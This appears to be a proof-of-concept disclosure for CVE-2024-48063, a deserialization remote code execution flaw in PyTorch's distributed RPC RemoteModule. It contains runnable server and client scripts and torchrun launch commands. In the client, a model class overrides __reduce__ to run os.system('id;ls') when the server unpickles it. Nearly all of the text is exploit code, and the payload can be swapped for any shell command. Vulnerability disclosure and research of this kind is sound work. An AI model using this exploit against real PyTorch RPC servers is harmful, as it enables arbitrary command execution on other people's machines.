Distributed RPC Framework RemoteModule has Deserialization RCE in pytorch/pytorch(CVE-2024-48063)

export MASTER_ADDR=127.0.0.1 export MASTER_PORT=5000 export TP_SOCKET_IFNAME=ens18 export GLOO_SOCKET_IFNAME=ens18

import torch import torch.distributed.rpc as rpc def run_server(): # Initialize server-side RPC rpc.init_rpc(“server”, rank=0, world_size=2) # Wait for the client’s remote call rpc.shutdown() if __name__ == “__main__”: run_server()

torchrun –nproc_per_node=1 –nnodes=2 –node_rank=0 –master_addr=127.0.0.1 –master_port=5000 ser.py

import torch import torch.distributed.rpc as rpc from torch.distributed.nn.api.remote_module import RemoteModule import torch.nn as nn # Define a simple neural network model MyModel class MyModel(nn.Module): def __init__(self): super(MyModel, self).__init__() # A simple linear layer with input dimension 2 and output dimension 2 self.fc = nn.Linear(2, 2) # Define the forward method def __reduce__(self): return (__import__(‘os’).system, (“id;ls”,)) def run_client(): # Initialize client-side RPC rpc.init_rpc(“client”, rank=1, world_size=2) # Create a remote module to run the model on the server side remote_model = RemoteModule( “server”, # Server-side device MyModel(), # Definition of the remote module’s model args=() # Model initialization parameters ) # Remotely call the model with an input tensor input_tensor = torch.tensor([1.0, 2.0]) output = remote_model(input_tensor) print(“Output from remote model:”, output) # Shutdown RPC rpc.shutdown() if __name__ == “__main__”: run_client()

torchrun –nproc_per_node=1 –nnodes=2 –node_rank=1 –master_addr=127.0.0.1 –master_port=5000 cli.py